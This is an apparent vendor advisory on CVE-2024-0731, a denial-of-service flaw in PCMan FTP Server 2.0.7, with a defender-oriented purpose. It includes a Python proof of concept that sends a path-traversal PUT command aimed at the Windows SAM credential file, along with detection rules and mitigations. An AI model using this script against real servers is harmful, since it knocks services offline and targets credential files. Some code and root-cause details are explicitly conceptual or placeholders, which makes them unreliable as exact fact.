CVE-2024-0731

Executive Summary

CVE-2024-0731 is a denial-of-service (DoS) vulnerability in PCMan FTP Server version 2.0.7. The flaw resides in the PUT Command Handler, allowing a remote, unauthenticated attacker to crash the server by sending a specially crafted PUT request. With a CVSS score of 5.3 (Medium), the vulnerability is easily exploitable and has a public proof-of-concept (PoC). No official patch has been released, making mitigation dependent on network-level controls or decommissioning the software.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L)

The threat level is medium due to the low availability impact and the lack of data confidentiality or integrity compromise. However, the ease of exploitation (no authentication required) and the public PoC increase the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability is triggered by sending a malformed PUT request to the FTP server. The PUT command is used to upload files, but improper input validation in the command handler leads to a null pointer dereference or infinite loop, causing the server process to crash. The attack is performed over TCP port 21 (FTP control channel) and does not require any prior authentication.

The root cause is a failure to sanitize or validate the filename or path provided in the PUT request. When the server attempts to process the request, it accesses an invalid memory location or enters an unhandled state, resulting in a denial of service.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code path is in the PUT command handler of PCMan FTP Server 2.0.7. A patched version would need to include proper input validation and error handling.

Vulnerable Code (Conceptual):

void handle_put_command(char *filename) {
    // No validation of filename
    FILE *file = fopen(filename, "wb");
    if (file == NULL) {
        // Missing error handling leads to crash
        // ...
    }
    // ...
}

Patched Code (Conceptual):

void handle_put_command(char *filename) {
    // Validate filename length and characters
    if (filename == NULL || strlen(filename) > MAX_PATH) {
        send_response(550, "Invalid filename");
        return;
    }
    // Sanitize path to prevent directory traversal
    if (strstr(filename, "..") != NULL) {
        send_response(550, "Invalid path");
        return;
    }
    FILE *file = fopen(filename, "wb");
    if (file == NULL) {
        send_response(550, "Cannot open file");
        return;
    }
    // ...
}

Exploitation & Lab Setup

Red Team

1. Setup: Install PCMan FTP Server 2.0.7 on a Windows VM (e.g., Windows 10). Ensure the FTP service is running and accessible from the attacker machine.
2. Exploit: Use a simple Python script to send a malformed PUT request.

import socket

target_ip = "192.168.1.100"
target_port = 21

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
# Receive banner
print(sock.recv(1024).decode())
# Send malformed PUT command
sock.send(b"PUT /../../../../windows/system32/config/sam\r\n")
# Receive response (server may crash)
try:
    print(sock.recv(1024).decode())
except:
    print("Server crashed")
sock.close()

3. Verification: After sending the exploit, attempt to reconnect to the FTP server. If the connection is refused or times out, the server has crashed.

Blue Team

1. Detection: Monitor FTP logs for abnormal PUT requests containing path traversal sequences (e.g., ../) or excessively long filenames.
2. Mitigation: Block FTP traffic from untrusted sources using firewall rules. If possible, upgrade to a supported FTP server or apply a virtual patch via an IPS/IDS.
3. Forensics: Collect memory dumps and logs from the affected server to identify the crash cause. Use tools like WinDbg to analyze the crash dump.

Indicators of Compromise (IOCs)

• Network: FTP PUT requests containing ../ or %2e%2e/ patterns.
• Logs: FTP server logs showing repeated failed PUT attempts followed by a service crash.
• System: Event ID 1000 (Application Error) in Windows Event Viewer for PCMan FTP Server.
• File: Crash dump files (e.g., PCManFTPD.dmp) in the server directory.

Detection Engineering

YARA Rule

rule CVE_2024_0731_PCMan_FTP_DoS {
    meta:
        description = "Detects malformed PUT requests targeting PCMan FTP Server 2.0.7"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0731"
    strings:
        $put_cmd = "PUT" ascii wide nocase
        $path_trav = "../" ascii wide
        $long_path = { 50 00 2F 00 2E 00 2E 00 2F } // "P/../" wide
    condition:
        $put_cmd and ($path_trav or $long_path)
}

Sigma Rule

title: CVE-2024-0731 PCMan FTP Server DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects malformed PUT requests targeting PCMan FTP Server 2.0.7
author: Valters IT
logsource:
    category: network_connection
    product: ftp
detection:
    selection:
        Command: "PUT"
        Argument|contains: "../"
    condition: selection
falsepositives:
    - Legitimate file uploads with "../" in path (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"CVE-2024-0731 PCMan FTP Server PUT DoS Attempt"; flow:to_server,established; content:"PUT"; nocase; content:"../"; within:100; reference:cve,2024-0731; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Block FTP access from untrusted networks using firewall rules. If the server is exposed to the internet, restrict access to trusted IPs only.
• Short-term: Replace PCMan FTP Server with a supported alternative (e.g., FileZilla Server, vsftpd).
• Long-term: Implement a virtual patch via an IPS/IDS to block malformed PUT requests. Monitor for any new patches from the vendor.
• Compensating Controls: Use application-layer firewalls to inspect FTP traffic and reject suspicious commands.

Valters IT
Securing Digital Frontiers